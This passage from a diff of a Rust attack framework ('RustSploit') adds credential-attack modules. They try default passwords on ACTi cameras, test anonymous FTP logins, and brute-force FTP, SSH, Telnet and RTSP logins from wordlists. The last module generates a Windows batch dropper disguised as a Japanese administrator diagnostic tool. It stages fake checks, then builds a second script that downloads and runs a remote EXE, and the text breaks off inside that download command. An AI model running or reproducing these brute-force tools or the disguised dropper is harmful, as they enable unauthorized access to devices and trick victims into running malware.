("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
// Start all checks in parallel
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
// run blocking ssh check in separate thread
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
// run blocking telnet check in separate thread
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Evaluate results
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod acti_camera_default;
+1
View File
@@ -0,0 +1 @@
pub mod acti;
@@ -0,0 +1,64 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
println!("[*] Connecting to FTP service on {}...", address);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
}
Ok(())
}
+235
View File
@@ -0,0 +1,235 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+7
View File
@@ -0,0 +1,7 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
@@ -0,0 +1,371 @@
use anyhow::{anyhow, Result};
use base64::Engine as _;
use base64::engine::general_purpose::STANDARD as Base64;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
//------------------------------
// 1) Basic Brute Force Settings
//------------------------------
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
//------------------------------
// 2) Advanced Features
//------------------------------
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
// By default, we'll demonstrate a DESCRIBE method.
// You could prompt for multiple commands, but here's one for simplicity.
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
// Prompt for custom headers file
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
if headers_file {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
//------------------------------
// 3) Brute Force RTSP Paths
//------------------------------
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
// If not brute forcing paths, we just do an empty vector or single slash
vec!["".to_string()] // We'll interpret "" as no path specified
};
//------------------------------
// 4) Begin Brute Force
//------------------------------
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
// Load user list
let users = load_lines(&usernames_file)?;
// Load password list
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
// For each password
for pass in pass_lines {
// If we've already found valid creds and we're stopping on success, break early
if *stop.lock().await {
break;
}
// If combo_mode is true, each password tries all users.
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
let userlist = if combo_mode {
users.clone()
} else {
// Use user at "idx % users.len()" if were not in combo_mode
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
// We batch tasks up to "concurrency"
let mut handles = vec![];
// For each username
for user in userlist {
// For each path
for path in &paths {
if *stop.lock().await {
break;
}
// Clone references for the task
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
// The advanced method & headers
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
// Check again if we've been signaled to stop
if *stop.lock().await {
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]",
addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
}
Err(e) => {
log(verbose, &format!("[!] {} -> error: {}", addr, e));
}
}
// A short delay between attempts
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
// If we reach concurrency, wait for them to finish before scheduling more
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
// Wait for any leftover tasks in the batch
for h in handles {
let _ = h.await;
}
idx += 1;
}
//------------------------------
// 5) Show Results / Save
//------------------------------
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we cant connect/parse response.
async fn try_rtsp_login(
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
// Parse the address to confirm it's valid
let socket_addr: SocketAddr = addr.parse()
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
// Open TCP connection to camera
let mut stream = TcpStream::connect(socket_addr)
.await
.map_err(|e| anyhow!("Connection error: {}", e))?;
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
let rtsp_method = method.unwrap_or("OPTIONS");
// Build path portion (some cameras expect the path in the request line).
// If path is empty, we skip it. Or default to / if you want.
let path_str = if path.is_empty() {
"" // or "/"
} else {
path
};
// Build Basic Auth
let credentials = Base64.encode(format!("{}:{}", user, pass));
// Build the RTSP request line
let mut request = format!(
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
addr = addr,
path = path_str.trim_start_matches('/'), // avoid double slash
auth = credentials,
);
// Append extra headers if advanced mode is on
for header in extra_headers {
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
// End with a blank line
request.push_str("\r\n");
// Send request
stream.write_all(request.as_bytes()).await?;
// Read response
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
// Very naive checks
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
/// Prompts the user for a required field (no default allowed).
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
/// Prompts the user for a value with a default fallback.
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
/// Prompts the user for a yes/no question, with a default answer.
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
/// Loads a file, returning non-empty lines in a Vec.
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
/// Prints log messages only in verbose mode.
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
/// Returns a PathBuf in the current directory for the given filename.
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+240
View File
@@ -0,0 +1,240 @@
use anyhow::{anyhow, Result};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
task::spawn_blocking,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ssh_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let addr = addr.to_string();
let user = user.to_string();
let pass = pass.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ fixed here
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
})
.await??;
Ok(result)
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -0,0 +1,217 @@
use anyhow::{Result, Context};
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::sync::{Arc, Mutex};
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
let target = target.to_string();
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_telnet_bruteforce(config)
}
#[derive(Clone)]
struct TelnetBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.next()
.context("Unable to resolve target address")?;
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
let creds = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
}
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
}
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
}
match try_telnet_login(&addr, &username, &password) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
eprintln!("[!] Error: {}", e);
}
}
}
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
}
}
}
Ok(())
}
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
}
}
_ => {}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
}
+2 -1
View File
@@ -1 +1,2 @@
pub mod sample_cred_check;
pub mod generic; // <-- lowercase folder name
pub mod camera;
+1
View File
@@ -1 +1,2 @@
pub mod sample_exploit;
pub mod payloadgens;
+1
View File
@@ -0,0 +1 @@
pub mod payloadgenbat;
@@ -0,0 +1,133 @@
//! Build a twostage prank/diagnostic BAT script with stealth download & run.
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
use anyhow::{Context, Result};
use std::fs;
use std::io::{self, Write};
/// Read a trimmed line from stdin
fn prompt(msg: &str) -> Result<String> {
print!("{msg}");
io::stdout().flush().ok();
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_owned())
}
/// Build the BAT contents (injecting URL & PS1 filename)
fn build_script(url: &str, ps1_name: &str) -> String {
// Template with placeholders {{URL}} and {{OUTFILE}}
let tpl = r#"@echo off
setlocal enabledelayedexpansion
title [管理者診断ユーティリティ]
color 0A
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
timeout /t 2 >nul
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog >nul
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify >nul
echo [INFO] DCOM設定の確認...
dcomcnfg /32 >nul
timeout /t 1 >nul
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
timeout /t 1 >nul
echo [INFO] 不審な接続をスキャン中...
netstat -bno >nul
route print >nul
timeout /t 1 >nul
echo [INFO] システムサービス確認中...
sc queryex type= service >nul
timeout /t 1 >nul
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size >nul
timeout /t 1 >nul
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%%RANDOM%% %% 60) + 120
powershell -Command "Start-Sleep -Milliseconds !delay!"
)
:: Random delay before launching stage 2
set /a mainDelay=(%%RANDOM%% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
timeout /t %%mainDelay%% >nul
:: Build second stage BAT (stage2.bat)
set "stage2=%%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo timeout /t 2 ^>nul
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
echo timeout /t !delay2! ^>nul
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command ^
